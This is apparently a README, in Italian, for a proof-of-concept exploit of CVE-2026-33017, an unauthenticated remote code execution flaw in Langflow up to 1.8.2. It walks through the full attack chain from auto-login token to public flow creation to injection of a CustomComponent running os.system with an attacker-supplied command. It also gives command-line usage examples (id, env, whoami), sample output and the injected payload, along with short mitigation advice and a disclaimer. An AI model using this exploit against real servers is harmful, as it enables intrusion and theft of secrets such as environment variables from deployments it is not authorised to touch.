
Proof-of-concept per CVE-2026-33017, che dimostra l'esecuzione di codice in remoto non autenticata in versioni vulnerabili di Langflow tramite l'iniezione malevola di codice CustomComponent.
ID CVE: CVE-2026-33017
Software Affetto: Langflow
Versioni Vulnerabili: <= 1.8.2
Versione Corretta: >= 1.9.0
Gravità: Critica
Autore: arensballiu
Data: 2026
Langflow espone un endpoint pubblico per la compilazione dei flow (/api/v1/build_public_tmp/{flowID}/flow) che accetta
blocchi di codice CustomComponent arbitrari e li esegue lato server senza autenticazione. Iniettando un
payload Python malevolo nel campo code di un nodo CustomComponent, un attaccante non autenticato
può eseguire comandi arbitrari del sistema operativo con i privilegi del processo del server Langflow.
La catena di attacco sfrutta innanzitutto l'endpoint /api/v1/auto_login, che rilascia un bearer token senza
richiedere credenziali quando Langflow è in esecuzione nella sua configurazione predefinita di auto-login. Successivamente utilizza
tale token per creare un flow pubblico temporaneo e attivare l'esecuzione di codice lato server tramite l'endpoint
di compilazione.
È incluso un file docker che crea un'istanza docker con langflow installato e in esecuzione.
| Endpoint | Metodo | Autenticazione Richiesta | Scopo |
|---|---|---|---|
/api/v1/auto_login | GET | No | Ottenere il bearer token (l'auto-login deve essere abilitato) |
/api/v1/flows/ | POST | Sì (Bearer) | Creare un nuovo flow |
/api/v1/build_public_tmp/{flowID}/flow | POST | No (pubblico) | Attivare la compilazione - punto di esecuzione vulnerabile |
/api/v1/flows/{flowID} | DELETE | Sì (Bearer) | Pulire il flow creato |
File: CVE-2026-33017_POC.py
requestspip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| Flag | Forma lunga | Obbligatorio | Descrizione |
|---|---|---|---|
-u | --url | Sì | URL di base dell'istanza Langflow |
-c | --command | Sì | Comando del sistema operativo da eseguire sul server |
-d | --delete | No | Elimina il flusso creato dopo lo sfruttamento |
Verifica dell'esecuzione di codice:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
Recupera le variabili d'ambiente del server:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
Mantieni il flusso attivo dopo l'exploitation (salta la pulizia):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
L'exploit inietta il seguente frammento Python nel campo code di un nodo CustomComponent:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - importa dinamicamente il modulo os ed esegue sul server il comando shell fornito dall'attaccante.CustomComponent valido, necessario per soddisfare il loader dei componenti di Langflow senza generare un errore di parsing.PUBLIC e l'endpoint di build viene invocato sul suo endpoint pubblico, il che significa che non è richiesto alcun cookie di sessione o token di autenticazione per attivare l'esecuzione.Il sistema CustomComponent di Langflow consente di inviare codice Python arbitrario come parte della definizione di un flow. L'endpoint /api/v1/build_public_tmp/{flowID}/flow compila e valuta parzialmente questo codice lato server, incluse le istruzioni a livello di modulo, senza sandboxing né restrizioni all'accesso ai built-in di Python come __import__.
1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id} → Clean up (optional)
Tutti e quattro i passaggi possono essere eseguiti da un attaccante anonimo contro un deployment Langflow predefinito.
LANGFLOW_AUTO_LOGIN=false) in qualsiasi deployment esposto a Internet.Questa proof of concept è fornita esclusivamente a scopo didattico e di ricerca sulla sicurezza autorizzata. L'uso di questo script contro sistemi senza esplicita autorizzazione scritta è illegale e non etico. L'autore e i contributori non si assumono alcuna responsabilità per un uso improprio.